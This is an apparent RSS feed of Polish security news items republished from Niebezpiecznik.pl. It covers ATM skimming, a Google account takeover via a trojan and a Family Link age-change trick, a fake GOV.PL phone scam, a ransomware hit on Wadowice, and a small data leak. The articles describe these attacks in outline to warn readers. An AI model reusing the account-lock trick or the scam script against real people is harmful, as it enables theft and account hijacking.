Od zawsze powtarzamy, and#380;eby korzystaand#263; z kart tam gdzie siand#281;and#160;da, z jednego prostego powodu and#8212; tylko ta forma pand#322;atnoand#347;ci daje Wam dodatkowe ubezpieczenie, tzw. and#347;cieand#380;kand#281; chargeback, ktand#243;ra w przypadku gdy otrzymacie wadliwy produkt lub usand#322;uga nie band#281;dzie taka, jakand#261; Wam obiecywano, moand#380;ecie transakcjand#281; kartand#261; reklamowaand#263; bezpoand#347;rednio u wystawcy karty pand#322;atniczej i odzyskaand#263;and#160;swoje pieniand#261;dze. Bez koniecznoand#347;ci kopania siand#281;and#160;nieuczciwym sprzedawcand#261;.
I tej rady nie zmieniamy. Korzystanie z kart ma korzyand#347;ci. Natomiast aby ograniczyand#263; ryzyko skimmingu, warto do wypand#322;at z bankomatand#243;w (i wpand#322;at we wpand#322;atomatach) podejand#347;and#263; and#8230;zbliand#380;eniowo.
Nawet wprawne osoby majand#261;and#160;problem z zauwaand#380;eniem skimmera. Wiand#281;c lepiej zaand#322;oand#380;yand#263; najgorsze and#8212; and#380;e skimmer jest na urzand#261;dzeniu z ktand#243;rego chcecie skorzytaand#263;. Dlatego:

zbliand#380;ajcie kartand#281; do bankomatu zamiast jand#261; wkand#322;adaand#263; w bamkomatowe dziurki
zbliand#380;ajcie smartfon (jeand#347;li macie na nim skonfigurowane pand#322;atnoand#347;ci NFC)
wykonujcie wypand#322;aty/wpand#322;aty za pomocand#261; kodu BLIK

Warto teand#380; oczywiand#347;cie ustawiand#263; wszelkie powiadomienia na transakcje wychodzand#261;ce w swoim banku. Wtedy jest szansa, and#380;e szybciej zauwaand#380;ycie, and#380;e ktoand#347; Was okrada i byand#263; moand#380;e nawet takiej kradzieand#380;y zapobieand#380;ecie. Zwand#322;aszcza jeand#347;li dodatkowo ustawicie teand#380; limity na transakcje kartowe.

To teand#380; dobry moment aby przypomnieand#263;, and#380;eand#160;od 1 paand#378;dziernika codziennie publikujemy krand#243;tkie filmiki z poradami. Byand#263; moand#380;e, gdyby klienci Santandera je widzieli przed weekendem, to nie straciliby swoich and#347;rodkand#243;w, bo rady ktand#243;re mogand#322;y temu zapobiec pojawiand#322;y siand#281;and#160;juand#380; dawno temu.

Klienci stracili czas i nerwy, ale nie pieniand#261;dze
Na koniec warto pochwaliand#263;and#160;reakcjand#281; Santandera. Jeszcze w niedzieland#281;, kiedy sprawa wybuchand#322;a w mediach, bank zapowiedziaand#322; and#380;e zwrand#243;ci pieniand#261;dze ofiarom. I w poniedziaand#322;ek zwrotu dokonaand#322;.
Wyjand#261;tkowo, klienci tym razem nie musieli nic zrobiand#263; (a przypomnijmy, and#380;e standardowa and#347;cieand#380;ka to czand#281;sto nie tylko zgand#322;oszenie przez infoliniand#281;, a wymand#243;g zand#322;oand#380;enia zawiadomienia o kradzieand#380;y na policji, czyli mand#243;wiand#261;c wprost, poniesienie kosztu and#8220;czasowegoand#8221;).

Santander zareagowaand#322; na ten incydent poprawnie. Aleand#160;nie wszyscy wiedzand#261;and#160;co robiand#263;, kiedy robi siand#281;and#160;gorand#261;co. I czasem wykonujand#261; ruchy, ktand#243;re wpand#281;dzajand#261; ichand#160;w jeszcze wiand#281;ksze problemy.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pland#160; 28 paand#378;dziernika 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Przejęli mu konto, ale pomoc techniczna Google nie chce mu pomóc ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1581</link>
			<description><![CDATA[ Co moand#380;e siand#281; staand#263;, kiedy ktoand#347; przejmie Wasze konto Google? Duand#380;o. Strasznych. Rzeczy. Czy moand#380;na takie konto odzyskaand#263;? Niby moand#380;na, ale przypadek Mateusza pokazuje, and#380;e and#8230;nie moand#380;na. I to pomimo nawiand#261;zania kontaktu z pomocand#261; technicznand#261; Google i pomimo posiadania wielu dowodand#243;w na to, and#380;e przejand#281;te konto do Mateusza naleand#380;y.
Oto jedna z najbardziej kuriozalnych historii, jakand#261; ostatnio widzieliand#347;my. Istny cyfrowy paragraf 22. Zobaczcie jak Mateusz wpadand#322; w czarnand#261;and#160;dziurand#281; i uand#347;wiadomcie sobie, jak niewiele znaczycie dla firm takich jak Google, pomimo tego, and#380;e przez lata pand#322;acicie im za rand#243;and#380;ne usand#322;ugi. Artykuand#322; doczytajcie do koand#324;ca, tam informujemy co warto zrobiand#263;, aby nie ponieand#347;and#263; takich strat, jakie poniand#243;sand#322; Mateusz w wyniku pewnej luki w procesach Google.
Kolega podesand#322;aand#322; mi linka, w ktand#243;rego kliknand#261;and#322;emand#8230;
Historia Mateusza zaczyna siand#281; 25 wrzeand#347;nia, kiedy odzywa siand#281;and#160;do niego znajomy na Discordzie. Znajomy przesand#322;a mu linka do stronyand#160;https://vampirk-beta.netlify[.]appand#160;a Mateusz pobiera z niejand#160;plik .exeand#160;(MD5:and#160;1E7997DFEF983BE219D95A1842FEE298) myand#347;land#261;c and#380;e to gra o ktand#243;rej rozmawiajand#261;. I and#8220;grand#281;and#8221; tand#281; uruchamia. A robi to dlatego, and#380;e pracuje w branand#380;y gier komputerowych i takie proand#347;by od znajomych nie byand#322;y dla niego niczym niecodziennym.

Problem w tym, and#380;e konto znajomego, ktand#243;ry do Mateusza napisaand#322; zostaand#322;o wczeand#347;niej przejand#281;te przez atakujand#261;cego, aand#160;pobrana gra okazaand#322;a siand#281; trojanemand#8230;
Efekt?and#160;Atakujand#261;cy przejmuje konta Mateusza, zarand#243;wno to na Discordzie jak rand#243;wnieand#380; inne and#8212; w tym niestety konto Google. Ale najwyraand#378;niej kradnie tylko ciasteczka i samo and#8220;wejand#347;cie w sesjand#281; Mateuszaand#8221; nie daje mu moand#380;liwoand#347;ci przejand#281;cia peand#322;nej kontroli nad kontem zapewne przez brak hasand#322;a, wiand#281;c robi coand#347; bardzo sprytnego:

Wand#322;amywacz prosi mnie o dwie rzeczy. and#379;ebym zaakceptowaand#322; proand#347;band#281; o dodanie do grupy rodzinnej i and#380;ebym usunand#261;and#322; skojarzenie mojego konta Google z tzw. kontem Brand Account w ramach ktand#243;rego prowadzony byand#322; mand#243;j kanaand#322; na YouTube. Tand#322;umaczy, and#380;e to jest powand#243;d, dla ktand#243;rego pobrana i zainstalowana przeze mnie gra nie uruchamia siand#281;.

Rand#243;wnoczeand#347;nie atakujand#261;cyand#160;zmienia datand#281; urodzenia Mateusza w ustawieniach konta na and#8220;poniand#380;ej 13 latand#8221;. To powoduje automatyczne oznaczenie konta jakoand#160;dzieciand#281;cegoand#160;i naand#322;oand#380;enie ograniczeand#324; przez Google. Tu trzeba podkreand#347;liand#263;, and#380;e atakujand#261;cy zrobiand#322; to nawet pomimo tego, and#380;eand#160;konto Mateusza zostaand#322;o zaand#322;oand#380;one w 2012 roku i miaand#322;o juand#380; powyand#380;ej 13 lat.

Dziand#281;ki tym bardzo sprytnym i zand#322;oand#347;liwym ruchom, atakujand#261;cy zostaje tzw. rodzicem/opiekunem dla konta Mateusza, a zmiana wieku powoduje, and#380;eand#160;Mateusz traci moand#380;liwoand#347;and#263; odzyskania swojego konta standardowymi metodami.

[Teraz] wszystkie formularze kierujand#261; mnie do ekranu logowania, a nastand#281;pnie do informacji, and#380;e konto zostaand#322;o usuniand#281;te i Google nie oferuje innego sposobu logowania.

and#160;

Rand#243;wnoczeand#347;nie atakujand#261;cyand#160;szantaand#380;uje Mateuszaand#160;and#8212; straszy, and#380;e jeand#347;li siand#281; nie dogadajand#261;, toand#160;upubliczni wykradzione z jego skrzynki dane. Czand#281;and#347;and#263; wykradzionych danych, w tym loginy i hasand#322;a do rand#243;and#380;nych usand#322;ug cytuje mu w wiadomoand#347;ci na Discordzie (pamiand#281;tajcie, and#380;e nick atakujand#261;cego na poniand#380;szym screenie to nick znajomego Mateusza, ktand#243;rego konto teand#380; zostaand#322;o przejand#281;te):

Mateusz postanawia nie negocjowaand#263; z atakujand#261;cym i zaczyna zabezpieczaand#263; swoje pozostaand#322;e konta. Szczand#281;and#347;liwie dla niego, nic nie wskazuje na to, and#380;e atakujand#261;cy prand#243;buje wykorzystaand#263; dostand#281;p do przejand#281;tego konta GMail aby przejand#261;and#263; kontroland#281; nad kontami bankowymi lub kontami w rand#243;and#380;nych rzand#261;dowych portalach. Atakujand#261;cy zdaje siand#281; byand#263; zainteresowany tylko obszarem gier komputerowych, o czym and#347;wiadczand#261; otrzymywane przez Mateusza powiadomienia o podejrzanych prand#243;bach logowania do kont Riot czy Steam.

Konto Google zaraz zostanie zostanie trwale skasowane
Podsumujmy efekt dziaand#322;aand#324; wand#322;amywacza: konto Mateusza zostaand#322;o objand#281;te politykand#261; Google, wedle ktand#243;rejand#160;zostanie ono trwale usuniand#281;te w ciand#261;gu 14 dni, chyba and#380;e data urodzenia zostanie poprawiona. Ale Mateusz nie jest w stanie tego zrobiand#263;, boand#160;wszelkie prand#243;by kontaktu z supportem nie odnoszand#261; skutku. A deadline wypada dziand#347; and#8212; i stand#261;d ten artykuand#322;.
Cyfrowy paragraf 22
O ile moand#380;na zrozumieand#263;, and#380;e Google nie przewiduje and#380;adnej and#347;cieand#380;ki odzyskania dla kont znajdujand#261;cych siand#281; pod kontroland#261; rodzicielskand#261;, to jednak fakt, and#380;e Google w ogand#243;le dopuszcza zmianand#281; daty urodzenia na takand#261; poniand#380;ej 13 lat dla kont starszych niand#380; 13 lat jest and#8212; przyznacie and#8212;and#160;zdumiewajand#261;cym niedopatrzeniem. W tym kontekand#347;cie trochand#281; skandaliczna wydaje siand#281; teand#380; odpowiedand#378;and#160;supportu Google, ktand#243;ry odmand#243;wiand#322; Mateuszowi pomocy, choand#263; po treand#347;ci odpowiedzi moand#380;na przypuszczaand#263;, and#380;e doskonale zdaje siand#281; rozumieand#263;, and#380;e Mateusz jest ofiarand#261; googlowego band#322;and#281;du w logice biznesowej:

Takie potraktowanie klienta, ktand#243;ry przez lata wydaand#322; tysiand#261;ce dolarand#243;w na googlowe usand#322;ugi jest naprawdand#281; smutne.
Mateusz prand#243;bowaand#322; odzyskaand#263; dostand#281;p do swojego konta takand#380;e and#347;cieand#380;kand#261; and#8220;pand#243;and#322;-oficjalnand#261;and#8221;, kontaktujand#261;c siand#281; z supportem YouTube. W koand#324;cu miaand#322; pod swoim kontem youtubowy kanaand#322;. Niestety YouTube pomocy udziela tylko wtedy, kiedy uand#380;ytkownik zarzand#261;dza danym kanaand#322;em and#8212; a przypomnijmy and#8212; konto Mateusza w wyniku ataku straciand#322;o powiand#261;zanie z Brand Account zarzand#261;dzajand#261;cym jego kanaand#322;em YouTube. Dlatego pierwsza odpowiedand#378; z supportu YT brzmiaand#322;a tak:

Kiedy Mateusz wytand#322;umaczyand#322; swojand#261; sytuacjand#281;, pomoc techniczna YouTube utrzymywaand#322;a, and#380;e podawane przez niego dane (tj. adres e-mail konta i link do kanaand#322;u) nie sand#261; poprawne:

A na koand#324;cu Mateusz dowiedziaand#322; siand#281;, and#380;e and#8220;na koncie nie ma and#380;adnej podejrzanej aktywnoand#347;ciand#8221; i sprawa zostaand#322;a zamkniand#281;ta:

Jak napisaand#322; nam zrozpaczony Mateusz:

Prand#243;bowaand#322;em juand#380; wszystkich oficjalnych and#347;cieand#380;ek przez support YouTube, Google 1 oraz Google Play, niestety do tej pory bez powodzenia. Wiele wiadomoand#347;ci na Reddicie i innych forach pisaand#322;o and#380;e support YouTube pomaga odzyskiwaand#263; konta, ale ostatnia wiadomoand#347;and#263; jakand#261; od nich otrzymaand#322;em to template kopiuj wklej, and#380;e na moim koncie nie znaleziono oznak nietypowej aktywnoand#347;ci, a Google Play przekazaand#322;o mojand#261; sprawand#281; do Google for Families, skand#261;d dostaand#322;em informacjand#281; and#380;e przepraszajand#261; ale nie sand#261; w stanie go odzyskaand#263; i polecajand#261; and#8230;zaand#322;oand#380;yand#263; nowe konto.
Posiadam informacje ktand#243;re mogand#261; byand#263; wykorzystane do weryfikacji toand#380;samoand#347;ciand#160;(np.and#160;pomocniczy adres email, numery kart pand#322;atniczych ktand#243;rymi pand#322;aciand#322;em przez Google Pay, lokacje z ktand#243;rych logowaand#322;em siand#281; do konta w przeciand#261;gu roku, numer telefonu, adres IP z ktand#243;rego standardowo siand#281; logowaand#322;emand#160;itp.)

Mateusz ma wszystko, o co zazwyczaj support pyta podczas procedury odzyskiwania przejand#281;tego konta. Ale problem w tym, and#380;eand#160;nie daje siand#281; Mateuszowi and#380;adnej moand#380;liwoand#347;ci, aby te informacje komukolwiek przedstawiand#322;. Pomoc techniczna Google (ludzie albo boty) za kaand#380;dym razem pokazujand#261; mu and#347;rodkowy palec. Chyba nie tak powinno to wygland#261;daand#263;?
Na marginesie, Discord nie jest lepszy od Google. Konta na Discordzie Mateusz teand#380; nie jest w stanie odzyskaand#263;, choand#263; wand#322;amywacz stale prand#243;buje atakowaand#263; z niego kolejne osoby. Powand#243;d? Konto byand#322;o zarejestrowane na przejand#281;tand#261; w tym samym ataku skrzynkand#281; Google, a Discord wymaga, aby procedurand#281; odzyskania konta rozpoczand#261;and#263; od zgand#322;oszenia ticketu and#8230;z adresu e-mail przypisanego do przejand#281;tego konta. and#379;eby byand#322;o and#347;mieszniej, Discord odmand#243;wiand#322; takand#380;e zablokowania tego konta, choand#263; jest ono wykorzystywane do atakand#243;w. Wedle Discorda, z kontem nie dzieje siand#281; nic zand#322;ego.
and#160;
Co utraciand#322; Mateusz po przejand#281;ciu konta?
Warto sobie uand#347;wiadomiand#263; o co walczy Mateusz. Brak dostand#281;pu do e-maili z 13 lat jest oczywisty, ale to dopiero poczand#261;tek trudnoand#347;ci. Nie majand#261;c dostand#281;pu do swojego konta, Mateusz straciand#322; teand#380;:

dostand#281;p do plikand#243;w na Google Drive,
listand#281; zbieranych przez lata kontaktand#243;w
dane zwiand#261;zane ze spotkaniami przechowywane w Google Calendar
kilka tysiand#281;cy zand#322;otych wydanych na gry, aplikacje i subskrypcje w Google Play, z ktand#243;rych teraz nie moand#380;e korzystaand#263;

and#160;
2FA nie pomogand#322;oand#8230;
Podkreand#347;liand#263; teand#380; trzeba, and#380;e Mateusz miaand#322; wand#322;and#261;czone dwuetapowe uwierzytelnienie, ale to nie pomogand#322;o w zabezpieczeniu konta, bo zand#322;oand#347;liwe oprogramowanie po prostu ukradand#322;o token sesyjny. Co wiand#281;c Ty powinieneand#347; zrobiand#263;, aby zabezpieczyand#263; swoje konto przed podobnand#261; sytuacjand#261;?
Mam konto Google, ktand#243;rego nie chcand#281; straciand#263; and#8212; co robiand#263;, jak and#380;yand#263;?
Wygland#261;da na to, and#380;e przed tym co spotkaand#322;o Mateuszaand#160;nie da siand#281; obroniand#263; aktywacjand#261; jakiejkolwiekand#160;opcji po stronie konta Google. Nie pomoand#380;e ustawienie and#8220;recovery phone numberand#8221; ani and#8220;recovery e-mailand#8221; kiedy atakujand#261;cy zmieni datand#281; urodzenia na wiek poniand#380;ej 13 roku and#380;ycia i podepnie przejand#281;te konto pod swojego Family Linka and#8212; wtedy wpada siand#281;and#160;w and#8220;czarnand#261;and#160;dziurand#281;and#8221; jeand#347;li chodzi o and#347;cieand#380;kand#281; odzyskania dostand#281;pu przez support Google.
Moand#380;na sprand#243;bowaand#263; zaand#322;oand#380;yand#263; swojand#261; rodzinand#281;, wtedy dodanie naszego konta and#8212; gand#322;owy rodziny and#8212; do cudzej rodziny band#281;dzie utrudnione. To jednak pand#243;and#322;and#347;rodek.
Dlatego jedyna sensowna rada toand#8230; regularnieand#160;wykonuj kopiand#281; bezpieczeand#324;stwa konta Googleand#160;za pomocand#261;and#160;Google Takeout. Bo na phishing albo instalacjand#281; malware zawsze moand#380;esz siand#281; zand#322;apaand#263;, tak jak zrobiand#322; to Mateusz, czand#322;owiek od lat dziaand#322;ajand#261;cy zawodowo w branand#380;y IT. Zwand#322;aszcza gdy atak zostanie wyprowadzony and#8212; jak w przypadku Mateusza and#8212; z konta znanej Ci osoby, kogoand#347; komu ufasz.

Faktem jest, and#380;e o ile zand#322;apanie na phishing czy malware moand#380;na komuand#347; wybaczyand#263;, to Mateusz nie popisaand#322; siand#281; klikajand#261;c w linka, ktand#243;ry podpinaand#322; jego konto pod konto Family Link. Choand#263; na jego obronand#281; dziaand#322;a to, and#380;e prosiand#322; go o to znajomy, ktand#243;remu ufaand#322;, a ta z pozoru dziwna proand#347;ba w and#347;rodowisku graczy instalujand#261;cych aplikacje przez rand#243;and#380;ne przedpremierowe programy typu TestFlight wcale nie musi budziand#263; podejrzenia. Pomimo band#322;and#281;dand#243;w po stronie Mateusza, nie wydaje nam siand#281;, and#380;e odpowiedzialnoand#347;and#263; za skutki tego ataku ponosi tylko on. Google teand#380; mogand#322;o by coand#347; poprawiand#263;.
Pozostaje wiand#281;c trzymaand#263; kciuki za to, and#380;e kiedyand#347; Google wprowadzi weryfikacjand#281;and#160;wieku podczas operacji jego zmiany na taki poniand#380;ej 13 roku and#380;ycia. Zwand#322;aszcza, and#380;e jak widaand#263;, Mateusz nie jest jedynand#261; ofiarand#261;. Ten sposand#243;b jestand#160;powszechnie wykorzystany do skutecznych atakand#243;w. I zwand#322;aszcza, and#380;e w dobie atakand#243;w supply-chain, wcale nie trzeba zand#322;apaand#263; siand#281; na phishing, czy zainstalowaand#263; malware z podejrzanego linku, aby ktoand#347; ukradand#322; nam nasze ciasteczka sesyjne. Malware moand#380;e siand#281; pojawiand#263; na urzand#261;dzeniu osoby, ktand#243;ra w and#380;aden podejrzany link nie kliknie.
Zmuszony by zapand#322;aciand#263; okup?
Ta caand#322;a sytuacja spowodowaand#322;a, and#380;e Mateusz rozwaand#380;a teraz czy nie skontaktowaand#263; siand#281;and#160;z (wciand#261;and#380; aktywnym) atakujand#261;cym i speand#322;niand#263; jego and#380;and#261;dania.and#160;I to jest najgorsze wyjand#347;cie z sytuacji bo oznacza to zwyciand#281;stwo patologii, na ktand#243;rand#261; Google nie powinno pozwalaand#263;, zwand#322;aszcza and#380;e z cyberprzestand#281;pcami akurat ta firma bardzoand#160;aktywnie i bardzo skutecznie walczy.
Ale tutaj coand#347; nie wyszand#322;o i niestety Google nie potrafi zauwaand#380;yand#263; doand#347;and#263; wyraand#378;negoand#160;modus operandiand#160;sprawcy, i to pomimo tego, and#380;eand#160;dane konta Family Link naleand#380;and#261;cego do wand#322;amywacza ma podane na talerzu, a Mateusz kontaktuje siand#281; z supportem z adresu e-mail, ktand#243;ry byand#322; wpisany jako and#8220;adres pomocniczyand#8221; dla zhackowanego, utraconego konta. Konta, ktand#243;re miaand#322;oand#160;najwyand#380;szy, platynowy status na Google Playand#160;(czyt. Mateusz zostawiand#322; w Google naprawdand#281; sporo kasy). Bardzo to rozczarowujand#261;ce.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pland#160; 17 paand#378;dziernika 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Uwaga na e-maile od “GOV.PL” ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1580</link>
			<description><![CDATA[ Otrzymujemy masowe zgand#322;oszenia o wiadomoand#347;ciach e-mail, w ktand#243;rych oszuand#347;ci podszywajand#261;and#160;siand#281; pod rzand#261;dowy portaland#160;gov.pl. Oto jak wygland#261;da faand#322;szywa wiadomoand#347;and#263;:

Po czym moand#380;esz poznaand#263;, and#380;e to oszustwo? Wiadomoand#347;ci and#160;nie sand#261;and#160;wysyand#322;ane z adresu e-mail w domenieand#160;gov.pl. Nadawcand#261; sand#261; rand#243;and#380;ne e-maile, ktand#243;re tylko w opisie zawierajand#261; frazand#281; and#8220;GOV.PLand#8221;, np.and#160;and#8220;Gand#1086;v.and#1088;land#8221; 
Na czym polega ten atak?
Wiadomoand#347;and#263; tym razem nie zawiera and#380;adnych linkand#243;w ani zaand#322;and#261;cznikand#243;w. Oszuand#347;ci informujand#261; o tym, and#380;e ktoand#347;and#160;pomyand#347;lnie zalogowaand#322; siand#281;and#160;na nasze konto i sugerujand#261; kontakt z pomocand#261; technicznand#261; pod numerem telefonuand#160;+48221732047, jeand#347;li nie rozpoznajemy tego logowania (jeand#347;li nie byand#322;o nasze). Co siand#281;and#160;stanie jeand#347;li przeraand#380;eni zadzwonimy pod ten numer? Przestand#281;pca udajand#261;cy pracownika pomocy technicznej poinformuje nas, and#380;e ktoand#347; skorzystaand#322; w sposand#243;b nieuprawniony z naszego Profilu Zaufanego i prawdopodobnie wyand#322;udziand#322; kredyt w naszym imieniu. Oszust oczywiand#347;cie zaoferuje nam pomoc informujand#261;c, and#380;e przekaand#380;e nas do specjalnej komand#243;rki bezpieczeand#324;stwa naszego banku.
Dalej atak przebiega juand#380; zgodnie ze znanym scenariuszem and#8220;na faand#322;szywego pracownika bankuand#8220;:

otrzymamy SMS mand#243;wiand#261;cy, and#380;e za chwile skontaktuje siand#281;and#160;z nami pracownik banku, wiadomoand#347;and#263; band#281;dzie zawieraand#263; imiand#281; i nazwisko pracownika banku i and#8220;kod autoryzujand#261;cyand#8221;.
po chwili faktycznie zadzwoni do nas kolejny oszust, ktand#243;ry poda siand#281;and#160;za pracownika banku, cytujand#261;c dane z SMS-a
oszust w rozmowie band#281;dzie staraand#322; siand#281; nas przekonaand#263; do wykonania rand#243;and#380;nych operacji na naszym koncie w celu jego and#8220;zabezpieczeniaand#8221; and#8212; ale operacje te band#281;dand#261; miaand#322;y na celu kradzieand#380; and#347;rodkand#243;w z naszego rachunku.

Co robiand#263;, jak and#380;yand#263;?
Jeand#347;li otrzymaand#322;eand#347; takiego e-maila, nie wpadaj w panikand#281;. To masowy spam, ani Twand#243;j Profil Zaufany, ani Twoje and#347;rodki w banku nie sand#261; zagroand#380;one. Jeand#347;li oddzwoniand#322;eand#347; na numer z e-maila i wykonaand#322;eand#347; jakiekolwiek czynnoand#347;ci sugerowane przez and#8220;pracownika pomocy technicznejand#8221;, natychmiast skontaktuj siand#281; ze swoim bankiem i powiadom go o tym.
Ten incydent to takand#380;e dobra okazja abyand#347; upewniand#322;and#160;siand#281;, and#380;e maszand#160;zastrzeand#380;ony PESEL, a Twoje konto Profilu Zaufanego ma aktywne dwuskand#322;adnikowe uwierzytelnienie.
Ze wzgland#281;du na masowy charakter tego ataku oraz nowy wektor (and#8220;przez infoliniand#281;and#8221;), postanowiliand#347;my wysand#322;aand#263; w tej sprawie alert do uand#380;ytkownikand#243;w naszej aplikacjiand#160;CyberAlerty. Jeand#347;li teand#380; chcesz dowiadywaand#263; siand#281; jako pierwszy o zagroand#380;eniach, ktand#243;re majand#261; wpand#322;yw na bezpieczeand#324;stwo Twoich danych lub pieniand#281;dzy, to zainstaluj naszand#261; darmowand#261; aplikacjand#281; CyberAlerty. Aplikacja nie wymaga podawania and#380;adnych danych ani rejestracji. Jedyne co robi to wysyand#322;a ostrzeand#380;enia przed nowymi lub masowymi atakami. Aplikacjand#281; pobierzesz z oficjalnychand#160;sklepand#243;w Googleand#160;luband#160;Apple.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pland#160; 7 paand#378;dziernika 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Wadowice zhackowane, dane mieszkańców mogły zostać wykradzione ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1579</link>
			<description><![CDATA[ W niedzieland#281; doszand#322;o do powaand#380;nego incydentu w infrastrukturze IT, ktand#243;ra hostowaand#322;a bazy danych Urzand#281;du Miejskiego w Wadowicach. Zaszyfrowano dane, a wiand#281;c mamy do czynienia z atakiem ransomware. Jak otwarcieand#160;przyznajand#261;and#160;przedstawiciele Urzand#281;du Miasta and#8212; and#8220;istnieje wysokie ryzyko and#380;e przynajmniej czand#281;and#347;and#263; z danych dotyczand#261;cych mieszkaand#324;cand#243;w gminy Wadowice zostaand#322;a wykradziona i moand#380;e zostaand#263; ujawniona w internecieand#8221;. Co grozi mieszkaand#324;com papieskiego miasta?

Wyciek danych mieszkaand#324;cand#243;w Wadowic
Celem atakand#243;w ransomware jest wyand#322;udzenie okupu lub sabotaand#380; (to w przypadku grup, ktand#243;re nie planujand#261; odszyfrowania danych nawet po uzyskaniu okupu). Poniewaand#380; nie ujawniono jaka grupa stoi za atakiem, ciand#281;and#380;ko nam wiarygodnie wskazaand#263; scenariusz z ktand#243;rym mamy do czynienia. Faktem natomiast jest to, and#380;e wiand#281;kszoand#347;and#263; grup ransomware nie tylko szyfruje, ale teand#380;and#160;kradnie dane po to, aby w przypadku braku otrzymania pieniand#281;dzy, opublikowaand#263; je w Darknecie. Wtedy na dane rzuciand#263; mogand#261;and#160;siand#281; wszyscy zainteresowani, od cyberprzestand#281;pcand#243;w, ktand#243;rzy wykorzystajand#261; je do przeprowadzania atakand#243;w kradzieand#380;y toand#380;samoand#347;ci lub ulepszenia swoich socjotechnik, przez wszelkiej maand#347;ci badaczy, detektywand#243;w i osintowcand#243;w, aand#380; do kaand#380;dego wand#347;cibskiego sand#261;siada. Dlatego utrzymujand#261;cy istotne systemy powinni wiedzieand#263;and#160;jak na takie ataki siand#281; przygotowaand#263;and#160;i jak na nie poprawnie reagowaand#263;. Dla mieszkaand#324;cand#243;w natomiast rozsand#261;dnym band#281;dzie wiand#281;c zaand#322;oand#380;yand#263; najczarniejszy scenariusz:

Jeand#347;li jesteand#347; mieszkaand#324;cem Wadowic, zaand#322;and#243;and#380; and#380;e wszystkie dane jakie miaand#322; na Twand#243;j temat Urzand#261;d Miejski zostanand#261; ujawnione. Zapewne band#281;dand#261; to dane osobowe, a byand#263; moand#380;e takand#380;e szczegand#243;and#322;y nieruchomoand#347;ci, wysokoand#347;ci podatkand#243;w, treand#347;ci wszelkich urzand#281;dowych pism i wnioskand#243;w.

Jestem z Wadowic, co teraz robiand#263;, jak and#380;yand#263;?
Mieszkaand#324;com Wadowic rekomendujemy, aby jak najszybciej:

Zastrzegli PEPSEL, aby ukrand#243;ciand#263; wyand#322;udzenia finansowe i inne najbardziej negatywne skutki kradzieand#380;y toand#380;samoand#347;ci.and#160;Tutaj znajdziesz informacjand#281;and#160;gdzie i jak moand#380;na zastrzec PESEL.
Przerywali rozmowy z kaand#380;dym, kto band#281;dzie siand#281; z Wami kontaktowaand#263;and#160;e-mailowo lub telefonicznie w celu wymuszenia jakiegoand#347; dziaand#322;ania lub proszand#261;c o Wasze dodatkowe dane. Zwand#322;aszcza jeand#347;li osoby te band#281;dand#261; podawaand#263; siand#281;and#160;za urzand#281;dnikand#243;w, pracownikand#243;w banku lub innych instytucji i nawet wtedy kiedy band#281;dand#261; znaand#263; wszystkie Wasze dane osobowe. Przerwijcie kontakt i sami, bezpoand#347;rednio skontaktujcie siand#281; z instytucjand#261; lub firmand#261; z ktand#243;rej do Was dzwoniono lub pisano.

and#378;rand#243;dand#322;o niebezpiecznik.pland#160; 7 paand#378;dziernika 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Wyciek danych z jednego z serwerów Kanału ZERO ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1578</link>
			<description><![CDATA[ Jak informuje nas jeden z Czytelnikand#243;w, na pewnym cyberprzestand#281;pczym forum pojawiand#322; siand#281;and#160;zrzut bazy danych, ktand#243;ra miaand#322;a zostaand#263; wykradziona z jednego z serwerand#243;w zwiand#261;zanych produkcjand#261; popularnego na YouTube Kanaand#322;u ZERO:

Jak widaand#263;, autor wpisu wyznaje, and#380;e dane pozyskaand#322; z niezabezpieczonego frameworka PHP. Od razu warto podkreand#347;liand#263;, and#380;e choand#263; and#8220;pozyskanie danych finansowychand#8221; brzmi groand#378;nie, to dane teand#160;nie sand#261; w naszej ocenie istotneand#160;and#8212; chodzi bowiem o zarobki poszczegand#243;lnych filmand#243;w na YouTube z reklam, czyli najprawdopodobniej zwykand#322;and#261;and#160;tabeland#281; z eksportem statystyk YouTube. Moand#380;e nie tak szczegand#243;and#322;owo, ale o sumarycznych zarobkach z reklam twand#243;rcy kanaand#322;u informowali juand#380; wielokrotnie w swoich mediach spoand#322;ecznoand#347;ciowych.

Atakujand#261;cemu udaand#322;o siand#281;and#160;takand#380;e pozyskaand#263; dane dostand#281;powe do jednej z baz oraz zdumpowaand#263; jej zawartoand#347;and#263;:

dane osobowe 4 (!) administratorand#243;w (e-maile, nazwiska i hashe haseand#322;)
dane dotyczand#261;ce kilku podwykonawcand#243;w i faktur z nimi zwiand#261;zanych
lista sprzand#281;tu
google oauth tokens
wspomniane wczeand#347;niej zarobki poszczegand#243;lnych filmand#243;w na YT

I tu ponownie: ujawnione dane nie wydajand#261;and#160;siand#281; byand#263; jakkolwiek istotne ani and#347;wieand#380;e. Ich strata/upublicznienie raczej Kanaand#322;u ZERO w ogand#243;le nie zaboli (minus kwestie wizerunkowe). Danych jest niewiele. W kaand#380;dej z wyeksportowanych tabel jest kilkanaand#347;cie do kilkudziesiand#281;ciu wierszy, a czand#281;and#347;and#263; z nich toand#160;dane testowe. Znaczniki czasowe wskazujand#261;, and#380;e najnowsze wpisy w zaatakowanej bazie pochodzand#261; z poczand#261;tku maja tego roku. Raczej wiand#281;c nie byand#322;a to ani waand#380;na, ani nawet aktywnie wykorzystywana baza.

Skontaktowaliand#347;my siand#281; z Kanaand#322;em ZERO i poprosiliand#347;my o komentarz. Po jego otrzymaniu zaktualizujemy ten artykuand#322;.
Kto stoi za atakiem?
Nick atakujand#261;cego, jak i sam opis sugerujand#261;, and#380;e wand#322;amywaczem jest ta sama osoba, ktand#243;ra niedawnoand#160;zhackowaand#322;a serwer partii Nowa Nadzieja Sand#322;awomira Mentzena, bo post koand#324;czy siand#281;and#160;przywoand#322;aniem reakcji na poprzedniego dumpa.
